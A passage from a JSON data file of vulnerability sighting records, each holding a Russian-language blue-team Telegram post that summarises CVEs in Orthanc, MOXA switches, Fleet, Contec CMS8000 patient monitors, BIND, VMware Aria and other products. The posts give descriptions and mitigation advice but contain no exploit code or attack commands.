\u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043d\u0430 \u0445\u043e\u0441\u0442-\u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435 \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \u0417\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043a \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432, \u0438\u0437-\u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b Drive Composer.\n\nCVE-2025-0896 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Orthanc, DICOM-\u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0432 \u0441\u0444\u0435\u0440\u0435 \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0430\u0437\u0430\u043c\u0438 \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u0438\u0445 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439. \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f. \u0422\u043e \u0435\u0441\u0442\u044c \u043b\u044e\u0431\u043e\u0439, \u0443 \u043a\u043e\u0433\u043e \u0435\u0441\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438 \u0441 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c \u043a \u043d\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Orthanc, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0438 \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u043c\u0441\u044f \u043d\u0430 \u043d\u0435\u043c \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u0438\u043c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u043c.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-04T13:00:13.248452Z"}, {"uuid": "51d91a8e-8df9-4b8d-8d32-03dc7267e83e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/purp_sec/363", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2024-12297 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MOXA PT Switch, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0435\u0432\u043e\u043c\u0443 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044e. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u043c\u0438 \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\ud83d\udd35CVE-2025-27509 \u2014 \u0431\u0430\u0433 \u0432 Fleet, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u0430\u043c\u0438. \u041e\u0448\u0438\u0431\u043a\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 SAML-\u0442\u043e\u043a\u0435\u043d\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439.\n\n\ud83d\udd35CVE-2024-38311, CVE-2024-56195, CVE-2024-56196 \u0438 CVE-2024-5620 \u2014 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Apache Traffic Server \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043f\u0430\u0442\u0447, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0439 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c DoS-\u0430\u0442\u0430\u043a\u0438, \u043a\u0440\u0430\u0441\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0442\u0440\u0430\u0444\u0438\u043a\u043e\u043c.\n\n\ud83d\udd35CVE-2025-25181, CVE-2024-57968, CVE-2024-13159, CVE-2024-13160, CVE-2024-13161 \u2014 \u043f\u044f\u0442\u044c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Advantive VeraCore \u0438 Ivanti Endpoint Manager \u043f\u043e\u043f\u0430\u043b\u0438 \u0432 \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0443 CISA \u043a\u0430\u043a \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\ud83d\udd35CVE-2025-27816 \u2014 Veritas \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Alta Recovery Vault, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c, \u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0435 \u043a\u043e\u043f\u0438\u0438. \u0421\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u0435 .NET.\n\n\ud83d\udd35CVE-2025\u201327636 \u2014 PoC \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Apache Camel. \u0421\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 Camel, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-05T00:00:27.344907Z"}, {"uuid": "5372256f-e831-484d-b579-b9c1c19a23d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12248", "type": "seen", "source": "https://t.me/purp_sec/223", "content": "\u0412 \u0448\u0438\u0440\u043e\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0430\u0445 \u043f\u0430\u0446\u0438\u0435\u043d\u0442\u0430 Contec Health CMS8000 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\ud83d\udd35CVE-2024-12248 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0438\u043f\u0430 out-of-bounds. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 UDP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430.\n\n\ud83d\udd35CVE-2025-0626 \u2014 \u043c\u043e\u043d\u0438\u0442\u043e\u0440 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043f\u043e \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u043c\u0443 IP-\u0430\u0434\u0440\u0435\u0441\u0443, \u043e\u0431\u0445\u043e\u0434\u044f \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u043a\u0430\u043a \u043b\u0430\u0437\u0435\u0439\u043a\u0443, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\n\ud83d\udd35CVE-2025-0683 \u2014 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e \u043f\u0430\u0446\u0438\u0435\u043d\u0442\u0435 \u0432 \u0432\u0438\u0434\u0435 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u043d\u0430 \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u0439 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 IP-\u0430\u0434\u0440\u0435\u0441. \u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u043b\u044e\u0431\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0441 \u044d\u0442\u0438\u043c IP-\u0430\u0434\u0440\u0435\u0441\u043e\u043c. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f MITM-\u0430\u0442\u0430\u043a\u0438 (machine-in-the-middle). \n\nFDA \u0437\u0430\u044f\u0432\u0438\u043b\u043e, \u0447\u0442\u043e \u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f\u043c\u0438 \u043e\u0431 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u044d\u0442\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430.\n\n\u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u0442\u0430\u043a\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e, \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435, \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u043b\u0438 \u043d\u0430 \u043d\u0435\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430. \u0415\u0441\u043b\u0438 \u0434\u0430, FDA \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0432\u044b\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043c\u043e\u043d\u0438\u0442\u043e\u0440 \u0438 \u043f\u043e\u0441\u043e\u0432\u0435\u0442\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0441\u043e \u0441\u0432\u043e\u0438\u043c \u043b\u0435\u0447\u0430\u0449\u0438\u043c \u0432\u0440\u0430\u0447\u043e\u043c \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u043e\u0438\u0441\u043a\u0430 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u044b. \u0415\u0441\u043b\u0438 \u043d\u0435\u0442 \u2014 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430.\n\n#blue_team #CVE #\u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0430", "creation_timestamp": "2026-08-04T13:00:13.943533Z"}, {"uuid": "ccd6908c-bf22-4ab1-85ab-d63b57abc8a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://t.me/purp_sec/222", "content": "\u041d\u0430\u0434\u0435\u044e\u0441\u044c, \u0432\u044b \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u0442\u0434\u043e\u0445\u043d\u0443\u043b\u0438 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0445. \u0420\u0430\u0431\u043e\u0442\u044b \u043d\u0435\u043f\u043e\u0447\u0430\u0442\u044b\u0439 \u043a\u0440\u0430\u0439. \n\n\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0432\u0435\u0436\u0438\u0445 CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2025-22218 \u0438 CVE-2025-22222 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 VMWare Aria Operations. \u041f\u0435\u0440\u0432\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u00abView Only Admin\u00bb \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0434\u043b\u044f \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 VMware. \u0412\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0431\u0435\u0437 \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f, \u0435\u0441\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0439 ID \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u043b\u0443\u0436\u0431\u044b.\n\n\ud83d\udd35CVE-2024-11187 \u0438 CVE-2024-12705 \u2014 \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 BIND, \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 DNS-\u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u041f\u0435\u0440\u0432\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 DNS-\u0437\u043e\u043d\u044b, \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043e\u0442\u0432\u0435\u0442\u044b \u0441 \u0431\u043e\u043b\u044c\u0448\u0438\u043c \u0447\u0438\u0441\u043b\u043e\u043c \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 Additional. \u041f\u0440\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0442\u0430\u043a\u0438\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438\u0441\u043f\u044b\u0442\u044b\u0432\u0430\u0435\u0442 \u0447\u0440\u0435\u0437\u043c\u0435\u0440\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0438\u0441\u0442\u043e\u0449\u0435\u043d\u0438\u044e \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u0438 \u0441\u0431\u043e\u044f\u043c \u0432 \u0440\u0430\u0431\u043e\u0442\u0435. CVE-2024-12705 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e BIND DNS-over-HTTPS (DoH). \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 HTTP/2-\u0442\u0440\u0430\u0444\u0438\u043a \u043d\u0430 DoH-\u0440\u0435\u0437\u043e\u043b\u0432\u0435\u0440, \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0436\u0430\u044f \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0443\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0443 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043a \u0441\u0435\u0440\u0432\u0438\u0441\u0443.\n\n\ud83d\udd35CVE-2025-23222 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 dde-api-proxy Deepin. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 